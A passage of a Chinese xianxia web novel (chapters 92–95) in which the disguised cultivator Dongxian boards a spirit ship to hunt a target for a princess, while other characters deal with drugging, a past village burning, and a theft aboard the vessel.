“朝天宫有一天赐之物叫作清曜灵，可医死人药白骨，如若我能得到清曜灵，百里听寒会放弃国主之位而全心辅助我，届时，下一任国主只会是我，可惜，此物早在十几年前被朝天宫送了出去。”
东闲猜测道：“东方苍岚能知道清曜灵的下落？”
林纾衣颔首，她不仅生得美，举手投足间也透着高贵优雅的气质，很是赏心悦目。
“东方苍岚的身上有一物能寻到清曜灵，此物不会认主，你一定能帮我拿到它的，对吧。”
她此刻一双眸直勾勾地望着东闲，不用再说一句话，无论是谁都会想尽一切办法讨她开心，哪怕她方才说出的话暗含多少血腥。
92.第 92 章
但东闲清楚，她的手段与魄力要比她的容貌更令人着迷，关于国主之位，谁都不会想到林纾衣能走到最后，林纾衣母族毫无权势，母亲又不受宠，老皇帝更是不记得自己还有个叫林纾衣的女儿。
而且，林纾衣很小的时候就被送进幻音阁修炼，因此她的存在并不强烈，常常让人忽视，没有人会把目光长久地放在花瓶。
东闲道：“我的结果，只会让公主满意。”
林纾衣道：“东方苍岚本是欢乐坊的人，欢乐坊坊主给了他去往灵微洞天的请柬，以助他在灵微洞天修炼大成，同时会派人随同他一起前往。”
林纾衣道：“百里听寒也会向东方苍岚动手，你须得在百里听寒的人动手前，先一步取得他的命，这似乎很难。”
林纾衣以为东闲的百生镜可以随意变化成任何人的模样，实则不然，而东闲不会让她发现百生境变化的脸只有不到十种。
东闲方才嘴上应下，心里却琢磨着到底哪张脸能对付东方苍岚，她知道自己靠的就是这身伪装的能力得林纾衣青睐，她不能让林纾衣发现她的伪装有限制。
而现在……
在她的识海中，映出一张平平无奇略显黝黑的面庞。
一旁明月将一物器鼎呈在东闲面前，东闲接过，听着林纾衣开口。
“这是你要的东西，再告诉你一句话，灵虚洞天只认请柬不认人，你若能处理东方苍岚，这一趟你会收获很多。”
看来，东方苍岚有十足的机会要死。
东闲收起林纾衣送的法宝，跟着明月的指引离开。
在明月走后，清风开始向林纾衣报告东闲这段时间的行踪。
林纾衣走了几步，伸手拨动着玉琵琶，随意弹了几个音，打断了清风的话，清风凛神不敢再言。
“清风，日后这些事情不必向我汇报，她是我们的伙伴，我们应该给她信任。”
清风恭敬回道：“是，殿下。”
“你是不是觉得我太看得起她了？”
没待清风开口，林纾衣又道：“我总是会心血来潮做什么，无论是跟着母亲学戏，还是选择拿下幽云城的一席位置，事实会告诉我，我的选择是明智的，我曾与你说，我过去未见过东闲这般人，你且当我养个小宠物，你不觉得她还很有意思吗。”
她轻笑着，在玉琵琶上又落下几个音。
在东闲真正要离开时，林纾衣道：“你需要的我都已经派人替你打点好，东方苍岚今日就要登水上鲲船离开，你现在便能走。”
东闲颔首示意明白，问道：“公主为何信我？”
林纾衣道：“我听不惯他人的油嘴滑舌，你的却让我生不起气，这点够说明了吧。”
东闲抱拳促狭地道：“多谢公主抬爱。”
前往灵微洞天需要渡过三溺水，三溺水不可为人直接渡过，唯有借助特殊符阵打造的鲲船经过三溺水。
鲲船的首发和最后一站都会停泊在幽云城外海滩，将在申时前完成最后一次的停靠。
东闲为了能够更方便地把任务进行下去，让林纾衣帮她解决麻烦，从而顶替某个倒霉的杂役的身份登船。
她在百生镜中，又用上了她曾在玲珑阁用过的鸟，代号青鸟，本该只有死人见过他的脸。
她很快换张面容，并换身适合的打扮。
鲲船修建华贵，规模很大，一共上下两层，可容纳百人余，船体上刻满符文，由高级符师一笔一划篆刻而成，等待开动时，外罩一层护体流光，集众多高级阵师心血完成，保护着鲲船不受外界破坏。
这样的鲲船在海上行驶，像一条流光溢彩的大鱼。
东闲同着众多闲适的人们一般，登上鲲船。
等到申时一动，鲲船与陆地连接的舷梯被船员收起，发出一声嘹亮的轰鸣，响彻云霄。
要开动了。
东闲目光扫了下滞留在外海滩上还不肯离去的人们，这群人正打量着鲲船这个庞然大物，哪怕鲲船经常停靠在外海滩上，依旧让他们看得入迷，因为光从外观来看，它实在宏伟大气极具美感，简直是一个艺术品。
东闲转身离开甲板，如若她能早一息看过去，她绝对不会错过一个极为熟悉的身影，而这个身影的主人如若还有力气向上攀爬，她一定能赶在东闲离开前与东闲相见。
尽管再次相见，鸦昤也认不出这个陌生的男人会是东闲。
鸦昤用御风术向鲲船飞去，双手要焊死在船体边沿的凸状物。
鲲船为了防止有外人侵入，向外设下抵御外界灵力的阵法，所以鸦昤只能死死抓住边沿，脚下没有东西支撑的她，大半边身子荡在外面。
锻造炼器让她的双臂结实而有力量，足以让她在边沿撑一段时间慢慢爬上去。
鸦昤撑着眼皮，脑袋一阵昏沉。
那群魔修给她下药了。
她已经渐渐失去力气，无力向上攀爬，怕是再不过一刻她就要掉下去。
鸦昤不禁向下看了眼广袤无垠的大海。
掉进大海无事，有事的是那群留在外海滩上的追兵一定会扑进海里把她的内丹给剥夺。
外海滩上的修士们无疑看见了鲲船边上的她，他们怪异地指着鸦昤，发出议论的声音。
可惜船体开动的声音太多，完全盖过他们的声音，上了船的修士不想被当作围观的猴，基本都留在里面，少有人能有心致还在甲班上逗留。
高白露是唯一的例外。
她晕船，鲲船构造独特待人友好，行驶十分稳当，待在鲲船的修士不会感受到任何移动的感觉，就如同在陆地上一样，但是她已经达到看到船就晕的地步，所以她在收拾好自己的东西后，立马跑出来到甲板上呼吸新鲜空气。
她有点郁闷地想，谁见过哪个修士还能晕船的。
后又乐了，因为在他们不夜天还有个因为怕高至今不会御风术的修士。
高白露来时还瞧见了一个人离去，没看清脸，瞧着打扮像是杂役，看来也是同她一样出来呼吸新鲜空气的倒霉人。
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对方显然比她还惨，晕船还要在船上干活，而她只坐个来回就能解放了。
高白露感慨之余，又向远处眺望，便能瞧见对面外海滩上人们指指点点的动作。
他们是在说我吗？
高白露不确定地环视周围，甲板之上只有她一人，高白露复又想到什么，往下看去，便瞧见了挂在船边上的人。
“鸦昤？你怎么会在这。”
她见鸦昤负伤，又是身体摇摇欲坠时刻都要掉下的样子，趁着四下无人，连忙将人拉回甲板上。
鸦昤见是熟人救了她，戒备顷刻间放下。
事先被暗算下了迷药，她已经撑得够久，若非高白露闲来无事在甲班上闲逛，发现了挂在鲲船上的她，她其实就要掉进海里了。
对上同门担忧的双目，鸦昤却是受不住药性而晕厥。
***
东闲顶替的杂役是个新来的，没一个人认得他，而鲲船上大家都在忙碌，也不会有人管顾一个新来的，所以不用担心会被揭穿身份的隐患。
东闲先前看过东方苍岚的画像，不过对方想要安然抵达灵微洞天，必然会在相貌上有所伪装。
她目前只是个杂役，不能随意走动，得想个办法让对方主动出来。
东闲很喜欢杂役这个身份，能方便她搜罗不少消息。
其他杂役们也很喜欢这个新来的，因为“他”从不拒绝，让做什么必得一个老实的“好”字。
起初大家都有点惧怕这黝黑的大高个，人长得很结实，看起来并不好惹，直到“他”主动提出可以帮他们干点活，众人才知道这是个傻大个。
久而久之，大家只要累了就会喊“他”做事，遇到难缠的客人也是让“他”去处理。
倒有人看不下去了，恨铁不成钢地戳了戳这个“傻小子”。
“你傻不傻啊，什么脏活累活都被你承包了是吧。”
东闲腼腆一笑，“没关系的，上头给的月供多，我干起活来也有劲。”
“你哪来的使不完的牛劲，我不管你了，你要是出事可别怪我没提醒你。”
那人见东闲不听劝，扭头就走不管东闲。
东闲推起推车，这回她要替人送饭，送饭的想偷懒去打牌，便把差事丢给了她。
有的人不喜欢出来吃，会留在房间里吃，东闲要一间一间地问过去。
杂役这个身份妙极，她可以借杂役的身份把两层都逛了个遍也不会遭人怀疑。
忙碌一阵时间，她很快来到牌号为乙三的房间前，第一层一共有三十六间屋子，以甲乙丙丁的顺序排列，其中没有优先与落后之分，只是单纯地方便记录排序。
这间门敲了很久才开，东闲都要以为没人了。每间房都加了隔音符，她是听不见里面的说话声，所以她不能确定里面是不是真没人。
门打开来，是从甲板上回来的高白露。
东闲虚虚地扫了眼，但是对方有意遮掩她的目光，见东闲目光晃了下，对方不由得朝右边挡了挡。
93.第 93 章
“你还有事吗？”
见东闲迟迟不开口，高白露面色已经冷下来。
东闲道：“我见您面色不好，是不是因为晕船……”
高白露冷酷地打断她：“不需要。”
对方浑身透露着“识相的赶紧滚”的意思，东闲只好识趣地道：“您有什么事可以随时敲响传唤铃。”
每间房都有传唤铃，方便客人随时表达需求，一旦摇动铃铛，铃铛的声响会传到一定地方，下人们就会根据响动的铃铛对应的房间门牌号找过去，任听差遣。
高白露看着她，不说话。
想要让她滚的意思无声地表达极致。
东闲连忙低下头，推着小推车离开，身后的高白露看着她走，然后不轻不重地关上门。
东闲没有回头，她回想着方才的一幕，经她问了几间的经历可以推测出每间屋子的构造是相同的，高白露遮掩的方向应该是床榻，她挡着床干什么？
东闲压下疑惑，继续下一间送饭。
这一间她还没敲，就被里面的人奋力打开。
“丰忆安，你有本事就别回来。”
被唤作丰忆安的人，扫了眼门外的东闲，东闲便让开身子，丰忆安就头也不回地离开。
喊出丰忆安名讳的人同样极为生气，拿起一旁的枕头砸了过去，她慢了一拍，差点砸在东闲身上。
东闲接住枕头，有些局促。
应芷看见东闲，警惕地扫了她一眼，发现她就是一个送餐的，便把门关上伴随着一句火气未消的“不吃”。
对方从东闲的手里拿回枕头，砰地一下关上门，力道之大，门上的牌号都震了震，东闲感觉自己被扇了一道耳光。
东闲准备推着小推车去下一家，结果没到一息门又被里面的人打开。
应芷提了两个食盒拿回屋里，抬头见东闲的目光，瞪着道：“看什么看，你们连一点吃食都提供不上吗？”
东闲收回目光，低下头去。
应芷低头拿食盒的时候，是个她可以偷瞄的好时机，能与其错开视线，所以她看向房间里的状况。
每间空房足够宽敞，都是二人房，有两张床榻。
这两人是什么关系？
应芷一句丰忆安别回来说明他们是住在一间房，鲲船上客房充足，只安排到丙九号，还有九间屋子没有人住，所以不存在房间分配不够的情况。
两人住在一间房多半是一对有情人，但是屋内的东西有序地放在两边，情人间应当不会如此泾渭分明。
最主要的是他们的演技顽劣，似乎想要告诉所有人我们在演。
东闲推着推车继续前往下一家，她再不动，应芷怕是要起疑。
在东闲离开不久后，乙三客房内，床榻上的鸦昤悠悠睁开双眼。
不熟悉的环境让她下意识去找自己的剑，昏睡前的记忆浮现在脑海，她才停止对剑的摸索，放下心来。
高白露关好门提着食盒回来，鸦昤看过去，上下唇张开，吐词道：“谢谢。”
高白露见她脸色还是不算好看，想到不久前自己还在为她包扎伤口，高白露叹息，“算了，我不说你，你都已经上来了，接下来就好好待在我的房间哪里不许去。”
鸦昤没有向她保证。
鸦昤想问她鲲船在哪停下，复又放弃问话的念头。
鲲船停留在哪，她都不能在短时间内回到幽云城，寻找师尊被杀害的真相不得不就此搁置。
高白露想到她还受着伤却惦念着回去，都要无语凝噎。
“你急什么呀，再着急你也得把伤养好，追你的人，是不是又是上回串通玄清宗的人来暗杀你的，看来还是没能瞒住，这群魔真是阴魂不散。”
鸦昤道：“他们抓不到我的，就算抓到我我也不会让他们得逞，我会自爆内丹，但是在那之前，我还不能浪费时间与他们耗。”
高白露道：“行，你最有骨气，你就是死也不会让他们占到便宜。”
为了以免被东闲察觉端倪，高白露只提了一盒食盒，反正她还不怎么饿，待会出去吃就行，未必能跟那杂役再碰上一次面。
她把菜肴都摆好，瞧见里面还有补身子的玉米炖排骨时还有些惊喜。
“玉米炖排骨，刚好补你的身子，快来喝。”
鸦昤摇了摇头，无奈地道：“我还没有脆弱到这种地步。”
她到底还是下榻来到案前，端过高白露递来的汤，又道了声“多谢”，先是饮下一口汤。
高白露拉开长椅坐在她一旁，心里还记着她的话，于是道：“你方才说的什么事，该不会与你的师尊吧。”
鸦昤从玄清宗离开前的那段时日，正是鸦昤的师尊独孤慈仙逝的那段时日。
原本独孤慈仙逝这件事鸦昤不该知道，如果不是高白露说漏嘴……为此高白露也深感后悔，这回无论用什么手段都要把鸦昤送回不夜天。
鸦昤颔首，“我知道你们都想帮师尊隐瞒我，我既然知道了就不会放任不管，多说无益，我意已决，我不会相信师尊是因为渡劫失败而死。”
高白露道：“你倒是对我一点也不瞒，你就不怕我会阻拦你吗？”
鸦昤道：“鲲船才开始出发，回程还有一段时间，你拦我也无用。”
见鸦昤面前的碗空了，高白露又自然地替她盛一碗，鸦昤再次道了声谢谢，酌饮起来。
她是真的感到饿了。
“就算你师尊的死另有缘由，可你怎么报仇呀，打架这事根本就不是你擅长的，何况你连仇人是谁都不知道。”
鸦昤没吭声，但是高白霜知道她的态度已经坚决。
鸦昤又道：“你怎么会在这艘鲲船上？”
高白露道：“我是来寻炼器的材料。”
鸦昤颔首表示明白。
高白露面色不变，看着她慢慢地道：“鲲船返程需要一段时间，但是在这段时间内我暂且可以把你关在这里。”
鸦昤不敢相信地看着她，她想问高白露为什么，但是高白露在汤里下了药，说话的间隙药效已经奏效，她再也受不住而趴在案上。
高白露歉意地看向她。
若是鸦昤死了她回去该怎么跟师门交代，
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一个未来能成为圣级炼器师的苗子，无论是放在哪都不能被放弃。
鸦昤最应该留在不夜天，对方杀害她的师尊，难保不会不对她下手，更何况还有冲她的星君赐福而来的魔。
她只有待在不夜天是安全的。
“这些日子你老实地待在我这，不会出危险，你的脾气该收收了，为何不听劝呢。”
高白露透过窗框看向外面，轻叹一声。
海面上没有出色的景致，空中的轮月也被薄纱罩住，显得孤寂黯淡。
大家都觉得待在客房无事可做，来到甲板上闲叙片刻，哪怕所见一切都单调得过分。
“我的二十面传送骰还是丢了。”上官莲蓉撑脸看着水面，发出一声感慨。
邱少英道：“你的二十面传送骰不是被她拿走了吗？”
上官莲蓉颔首，应道：“她拿的的确是我的那个。”
邱少英听出不对劲了，“你居然一个人回去不告诉我，你肯定不是去找东西的，你去怡红院里面看过了是吧。”
上官莲蓉叫道：“亓沂师姐不让我们去，而且我只是找我的东西。”
“你真去找东西的吗？”
“我就摸了个人。”
“摸了个人？”
“还喝了一杯酒。”
邱少英季度得都快炸了，“我要告诉亓沂师姐。”
上官莲蓉连忙拉住她，哄道：“我下回带你去不就行了。”
邱少英不吃她这套，道：“要是亓沂师姐知道，她会生气的。”
“是我逼你去的成不成？”
“成。”
上官莲蓉叹气，道：“依照鲲船的速度，明早就能把亓沂师姐送过去，届时我们还有机会拦住她吗？”
邱少英道：“我们现在可连她的房门都不敢敲一下。”
这可真是个苦差，可偏偏是亓沂叫走她们，还拒绝不得。
亓沂强行升境要去赴一场对决，月华长老得知后坚决不许，为了让月华长老松口，亓沂承诺带上上官莲蓉和邱少英二人来看守她，可事实这二人根本不敢对亓沂做得了什么。
窝囊的两人在船头吹海风。
相隔不远的地方，宋玉瑶假意看海实则目光偏向她们二人。
她认出那是来自玄清宗的二人，之前宋问天告诉她亓沂为了赴一场决战而强行升境，要坐鲲船渡三溺水，听到这个消息她立刻跟过来。
她是要为亓沂入魔加个猛剂，这样天月狼的秘密就不会被人发现。
宋玉瑶只能这么做，不然她名声毁了她的一切都将会消失。
而且亓沂入魔多是事实，强行升境与另一个意动境的修士对战，她可不就是在找死吗。
如此想着，她又觉察到有一道目光凝视她，令她不由得朝二层看去，而那道窥探她的目光在她察觉时就已经收回。
她为此感到警惕，做贼心虚的她想到的第一个人就是亓沂，于是再不敢在甲板上多留，虽然亓沂应当没有见过她才是，但她还是不想过早地与亓沂接触。
宋玉瑶不知，看她之人正是亓沂。
94.第 94 章
客房内布下繁复的阵法，各种暗含玄机奥妙的符文在阵中人身边飘动。
亓沂在稳固自己得来的力量，她强行升境对身体带来的亏损极大，若不及时稳固，等一段时间过去，她的境界会跌落很多，可能从意动境直接跌到淬灵境前期，同时伴随着魂识受损与经脉损伤。
而这已经是最好的结果。
当初在青云大比能够以炼心境的实力击败另一个意动境她是险胜，境界的压制是实打实的，修士很难能做到跨境，除非拥有足够厉害的法器和掌握多种秘法。
前者被青云大比为保公平起见，将法器的质量控制在中阶，并且在数量上有所规定，后者能做到者寥寥无几，因为很少有人能够做到学到多种秘法，且先不谈星宿传承的限制，很少有大能会好心到将秘法传出去，这便对一个人的天赋要求极高，高到只看一遍便能摸清对方的招的程度。
亓沂两样都没有，所以她是险胜，对方因此与她结下梁子，抢走了她的东西。
这一次的闭眼，回忆起一段往事。
关于那场大火的。
亓沂在来到玄清宗前，曾经历过被村里人喂给河神的祭祀。
她被五花大绑地束缚在小舟内，两个大汉用力一推，把她推至河神的口中。
小舟随着水流的流动向前行驶，她躺在小舟中，望着蔚蓝如洗的天空，心中始终被一丝怀疑萦绕。
她从小到大一直不明白的一点，为什么村子里为了保风调雨顺就要向河神献祭未成年的少女，为什么被献祭的一定是未成年的少女，所谓的河神一定能保风调雨顺吗。
但是她不敢质疑，因为她周边的所有人都坚信这是对的，敢认为不对的她会是异类，所以她就认为这是对的。
村子几十年来一直如此，她才一个未成年的少女，都没村子的年纪大，怎么敢质疑呢。
所以她也随波逐流，认为是对的，以来表示她不是异类。
直到有人无意来到村子，指出这是错的，但是那人很快被当做妖言惑众的妖怪，被村民们处以火刑，村长就站在火台下，告诫大家不要被妖怪骗了，要对河神充满敬畏，所有人都在附和，父亲见亓沂没出声，给了她巴掌叫她跟着说话。
亓沂也不捂着发痛的嘴巴，眼看着女人被烧得面目全非，全身不住地挣扎，她的惨叫声被村民们的声音覆盖，于是，亓沂的脑海里也填满了村民的声音。
她的嘴也情不自禁地跟着说出村民的话，哪怕她还是觉得有一点困惑。
父亲满意地收回视线。
这个村子又没有异类了。
亓沂再度生起的疑惑又被她的死所震慑住，也许这个人说的是错的，这个人真的是妖怪变的来坑害他们的村子。
她躺在小舟上，还是觉得困惑，哪怕周围的一切告诉她就该是这样的。
承载她的小舟不知为何调了方向，稳当地停靠在岸边，哪怕水流还在尽职尽责地推动着小舟往前行驶，小舟依旧纹丝不动。
她听见有人走过来，但她无法挪动身子去看来人，只能等对方主动走进她的视线。
对方是与她差不多的年纪，但有着与她不同的身份，她是修士。
对方见她眼神呆滞，很遗憾而无趣地道：“怎么来了个小傻子，长这么大就是为了喂给河神，你的生死跟村子有什么关系，村子好不好你都要死啊。”
你都要死啊。
亓沂被她的话触动。
凭什么让我死呢，我是牲畜吗，可我与他们一模一样是人，仅仅是因为我是未成年的少女，这个村子果然不正常。
我想活。
亓沂目光瞬时一变，所有的疑惑在此刻得到被证实。
她也想活，难道她活了村子一定就会带来灾祸吗，河神这么废物还需要人来喂养它，说不定它才是那个妖言惑众的妖怪。
不对的，不对的，都不对的，是大家被河神都骗了。
亓沂幡然醒悟，她所有不正常的感觉是对的，村子被带了场瘟疫，每个人都被感染，而她也差点被感染，成为病人的一员。
对方饶有兴趣地看着她变化的神情，言语越发柔和。
“他们毁了你，礼尚往来，你该毁了他们，你这脑袋正常的吧，朝我这看，只需要一把火，什么都正常了，你敢不敢去做呢。”
她手中抽来的物什上燃起一团火。
这团火是邪魔迷惑心智的妖火，亓沂的双眼都被那团火占据。
邪魔在诱哄，言语在她的脑海中不断地回放着，很快占据她的整个大脑，她也只剩下一个念头。
亓沂身上的束缚被对方解开，她看着远方，眸里映着被火覆盖的村子，喃喃自语。
村子生了场瘟疫，不能让瘟疫扩散出去，所有的一切都要止于一场大火，就像大家当初要烧了一个说出真话的正常人一样。
当夜，她一人划着小舟回到村子，大家都入夜安睡，不知道即将到来的大火会吞噬这片土地的黑暗，重新赐予光明。
她烧了村子，于是一场瘟疫被阻止扩散，至于那所谓的河神，它会慢慢饿死，因为它太懒也太无用。
她最终做了很正确的决定，她也成为了一个正常的人。
亓沂想回去找对方时，结果对方已经悄然离去，唯独留下一样东西证明她来过的痕迹。
而这样东西被人抢走了，其实这东西丢不丢亓沂无所谓，她最初留着也是因为这是二人唯一可以称得上是信物的存在，拿个木棍当信物听起来有些可笑，所以丢了木棍亓沂本不着急，但对方抢了她东西，这性质可就不同了。
亓沂没有对上意动境修士的胜算，对方抢走东西后，给她留下一个地址和时间，让她准时赴约应战。
不过她宁可强升境界惹得一身后遗症的缘由却不是想把东西拿回来，成功打败对方。
她只是借这个理由离开玄清宗，不曾料想会见到她曾经要找的人，而这个人居然忘记她。
不但忘记她，居然成了需要盗取朝天圣果伪造灵体的凡人，在第一次看到盗取朝天圣果的画像是她的时候，亓沂便惊到了，但是没相信画像的人是她，
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只当两人长得相似。
直到怡红院她亲手逮住东闲，她才不得不相信东闲变了很多。
亓沂在阵法中端坐运功有两个时辰有余，期间只有送饭的杂役来过，她不加理睬，外面的杂役便识趣离开。
她睁开双目，成功压制躁动的力量，脑海中的思忖还未停止。
掌门还没回来，冒牌货失去踪迹，显然是背后有人帮她，还顺走了绿云长老的宝贝。
月华长老得知自己把的秘绝教给一个骗子，气得差点昏过去，告诉亓沂如若能找到此人，必将其关进玄清宗的地牢当中。
众人皆传冒牌货手持百生镜，不然不会能骗过多双眼睛，亓沂也是如此想的。
她去怡红院未如愿寻到冒牌货，但遇见了东闲。
东闲，冒牌货。
会是巧合吗？
她该去问问安泛泛，不过现在不行，现在的安泛泛还被关在家里。
最近的事情太多了，盗窃朝天圣果的东闲，假扮慕婉思的冒牌货，还有朝天宫放言出的来世之人。
亓沂目光一转，落在案上的焕新膏，这便又是一件事。
宗门一向对往生查得严格，焕新膏这类东西只要你藏了不管三七二十一你定然有罪，而身为玄清宗下一任掌门的她，定当以身作则，她只能在鲲船上把焕新膏研究完毕。
亓沂一直认为魔是可以与修士共处的，修士们对魔的厌恶麻痹了他们看事实的客观态度，她总有一天要验证她说的是对的。
轻风溜了进来，吹动着亓沂鬓边的发丝。
她看向一边开着的雕窗，欲要上前合上，以免让焕新膏的味道散出去，目光落到甲板上时，她在宋玉瑶的身上顿了一刻，而后阖上雕窗，好似这样隔绝了一层甲板上他人的窥视，其中也包括东闲的。
到了夜晚，需要杂役要做的事也不多了，东闲可以偷会懒。
她便无意间看见上官莲蓉和邱少英也在这里，方知晓亓沂也跟着上船，这可真是不太妙的消息。
有了百生镜的伪装，亓沂应当不会认出她的身份。
她随意瞥了眼二层，正巧碰上有人关上雕窗，并未看清里面的是谁。
此次来鲲船找东方苍岚，还有一层原因是来自于清微仙尊身上。
去往碧连山的路上，是要渡过三溺水，所以这鲲船本就是她非坐不可。
如今此人远在碧幽山，东闲要去灵微洞天，而从灵微洞天出发，恰巧用御风术赶个一两日的脚程，就能抵达碧幽山。
不过在此之前，先得把东方苍岚干掉才行。
东闲今日送完两层的餐回来，已经大致了解每间房住的是谁。
除了不少间敲了无人理睬，她差不多都打过照面。
很遗憾，这不少间无人理睬的正有东方苍岚两人在其内。
二层的很多房间都是无人应答或者直言让她赶紧离开。
不过没关系，她有办法逼得东方苍岚出面。
离开甲板前，不知怎地，她没忍住又去看了眼刚被关上雕窗的房间。
95.第 95 章
某个杂物间内，一堆杂役席地而坐。
“你们还敢猜拳，百仙盟的人也在这鲲船上，要被他们发现，舱主必要把我们扔去海里喂鱼。”
男人不甚在意地道：“百仙盟又管不了这些，他们要管的是焕新膏和星宿传承的贩卖，我们可没……哎，你打我干什么！”
打他的翻了个白眼：“傻子，我能不打你吗，你少在这胡说八道了。”
那人反应过来，小心试探：“该不会我们这鲲船……”
对方以一种“你还不明白吗”的眼神回应他。
那人惊道：“那可真了不得了。”
有人注意到门口伫立的东闲，有意大声唤道：“哎，大黑你来了。”
同时疯狂使眼色也算是告诉其他人赶快住嘴，不该讲的事不要乱讲。
东闲注意到这点异样结合方才偷听到的话，其实她也未听到多少，只听到“该不会我们这鲲船”，心中便有所思量，但她没有选择过问，装作没听到的样子“嗳”了一声。
大家伙见到是东闲回来，热情地招呼道：“大黑你也来玩啊，咱们喝酒猜拳多快活啊。”
大黑是大家对她的称呼，东闲幻化的青鸟是个外表黝黑的大块头，跟谁站一块都比人至少黑一个度，东闲让大家随便称呼她，大家就以简单粗暴的“大黑”相称。
东闲腼腆一笑，委婉拒绝道：“我不太会猜拳，我也喝不来酒。”
“猜拳不会可以学啊，跟哥们几个来三四回你就会了，又不要你的钱，你有什么酒不能喝的，快来一起玩。”
东闲半推半就地被他们拉入其中，大家伙发现她的确不会玩猜拳，玩几把就输几把。
猜错的人要被惩罚喝酒，东闲想想说自己真喝不来，而后被旁人起哄着喝了一碗又一碗，很快面上起了醉态的酡红。
东闲上了头，也许是酒精的催使，从起初的抗拒都后来的激进，她不甘认输地来了一把又一把，甚至不耐烦地生气起来。
简直是又菜又爱玩。
大家伙也不觉得意外，醉酒的人都会表现出与平常不一样的状态。
大家都喜欢醉酒后的大黑，玩游戏最有趣的就是遇到这种又菜又爱玩的对手，大黑一直在输，一坛坛酒被“他”灌入腹中，他开始胡言乱语，赫然是要醉了，有人提议让大黑回去歇息。
东闲摆了摆手，嘴硬说自己没醉，一个人出去吹吹海风就行，大家伙还没玩得尽兴，又想着她醉成那副模样，多半跑不了多远就倒下便也不管“他”，继续喝酒耍拳，到时再把人背回来就行。
她摇摇晃晃地走动着，明明是要走出去吹海风，但她可以借醉酒辨不清方向为理由，朝着一层大堂某处蹲守，今日二层出了事，所有的二层人都被请到一层去。
二层本不会出事，但是她在给人送饭的时候，趁客人不注意，藏了客人精贵的耳坠。
东闲早在上船的时候，便注意到这位客人，性子火爆又急躁，为人张扬不知收敛，刚上船就与他人发生口角。
东闲知道这种客人一般最为麻烦，一出事要闹得大家都不肯安宁才好。
如今客人的东西丢了，立马叫来舶主搜人，殊不知东西还在他的屋。
最有嫌疑的东闲被叫去证明清白，东闲把手放进可证清白的遁形水，由专人绘符，把绘制成的符咒放进遁形水中融了进去。
经过处理的遁形水澄澈干净，这证明东西的确不在东闲身上，来过客人房间的嫌疑人都是清白的，舶主柳明媚实在没办法，只好叫所有人都到鲲船一层大堂，一个一个地进行排查。
东闲寻了个不易被察觉的位置，那双故作迷离的眼实则比谁都清醒。
没有人会去怀疑一个酒鬼的动机。
就算她被发现，也不会有人多想一个酒鬼想干嘛。
她潜藏在阴影内，目光凝在次第下来的二层客人上，如是想道。
何况只是一个醉酒的人想睡一会而已。
今夜会发生一些有趣的事，她得去凑凑热闹。
鲲船的主人柳明媚对客人东西失窃一事感到很头疼，她已经查出不是她的人所为，嫌疑便落在客人们身上，不得不派人把所有客人请出来。
原本带人渡过三溺水的鲲船是她家独有的生意，鲲船因为建构精致、规模宏大、防御系统完备而出名，最主要的是可以带人渡过三溺水，一直以来，三溺水这块的区域被她家生意垄断。
一个生意做太好会是遭人嫉妒的，有人也想分一杯羹，弄了个叫什么龟船的跟她家抢生意。
她本来不屑一顾的，这个叫龟船的一听也好不到那里去，但也害怕自家生意被抢，于是派了手下去试探。
结果发现对方的龟船同样出色，除了如其名般行驶得比较慢，但也只比她的鲲船慢两个时辰，而且对方向外扬言价格实惠，价格实惠就算了，还强调一定比鲲船出价低。
不但如此还做了宣传言，说他们的龟船一定比鲲船便宜，一定比鲲船舒适，一定比鲲船安心……诸如此类的“一定比鲲船”的句式，可真是气人得很，铺天盖地地到处分发，气得柳明媚叫手下看见一张给他们撕烂一张，发多少张就撕多少张。
柳明媚能忍吗，她不能忍，此人哪想是分羹一杯，简直是明晃晃地抢生意啊。
关键是让她警铃大作的，是先前与她往来的庄家真就有跟龟船合作的意向，原本要续约的合同也不续了，柳明媚试探地问道是不是因为龟船，对方也诚恳地表示龟船很便宜价格比鲲船低了不知多少倍，而且再加上他们四处宣传龟船哪都比鲲船好，其他人怎么会不心动。
柳明媚承认她要价很高，可是打造这两艘鲲船是要耗费非常庞大的金额，这就是个无底洞，除却打造需要的费用，日常维修不要钱吗，雇佣工人不要钱吗，她拿到的钱，能留在她的小金库里的能有多少啊，她开鲲船十年也就攒了亿点点钱。
而且这么厉害有逼格的鲲船要价高点怎么了。
她暗恨对方拉低价格，只好一边调低价格，一边根据宣传单上的“一定比鲲船”的句式也发出相应的宣传单，上面是明面暗讽地以“本来就比龟船”的句式。
如今有客人硬是囔囔着他的东西在鲲船上丢了，如若鲲船不作为恐怕此事就要传出去，那么对方龟船一定趁此打出“一定比鲲船重视保护客人的物件”。
柳明媚问他是不是丢在屋里了，他却硬说自己一向收拾妥当放得好好的，定然是今日下楼去一层大堂的时候被人起了贼心偷了。
大家本就已经对龟船生起好感，她不能在这个关头出了
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事，所以她颇感无语也答应客人，请各位客人出来，帮忙配合检查。
好在只是让客人们用下遁形水，证明清白就可以离开。这样就不用过分窥探到客人的隐私，绝大多数客人对此安排是顺从的。
客人住在二层的客房，她最先疑心是二层的人，柳明媚带着手下与客人在楼道上排查，如今这二层的客房一间一间地被敲响，让里面的客人请到一层停留。
他们来到乙二的屋门前，对着名单上的名字敲响门道。
“你好，齐姑娘的东西丢了，需要进来检查一二，还请亓姑娘配合，到楼下等待。”
每间房做好隔音，若是加了灵力的声音，能穿透房间送到屋中人的耳里。
里面传来一道寒凉的声音。
“这里没有你要的东西。”
客人姓齐，他听了顿感不乐意：“你躲躲藏藏的莫不是心中有鬼，把门开了，我要进来，不然休怪我强闯进来。”
屋里的人回道：“你最好别进来，我现在控制不住。”
齐姓客人：“你是在向我约战？好啊，我跟你打，偷了我的东西还想打人，钥匙给我我来开。”
齐瑾姓客人也是气恼，以为亓沂有意挑衅，当即就夺了旁边人的钥匙，强行打开亓沂的房门。
门一开，凛冽冰寒席卷而来，尖利的冰棱迎面刺来，齐姓客人反应迅捷，当时缠在手腕的红绸甩了过去断裂了射来的冰棱，又有身旁的近侍相护，倒也没受伤。
齐姓客人面色大变，“你居然想动手杀人。”
整间屋都被无尽冰霜凝结冻住，乍一看去，还以为来到极寒之巅，寒冷的温度叫人忍不住打颤，在场之人都又生起金刚罩护体。
这寒气可非简简单单地让人感到冷这么简单，其中还有灵力在汲取人的生机。
亓沂挺立其中，周身可见暴动的灵力。
她神情淡漠，毫不客气地吐词道：“烦。”
那副无甚情绪的面容看得就让人恼火，齐姓客人越是看不惯亓沂那副嘴脸，喊话道：“你差点伤到我，居然还说我烦，你其心恶毒。
周方天地要被冰雪覆上，齐姓客人是最能感受到对方的意图，这是要拉他进入灵域的意思，这无疑是最野蛮让人闭嘴赶紧滚开的方式。
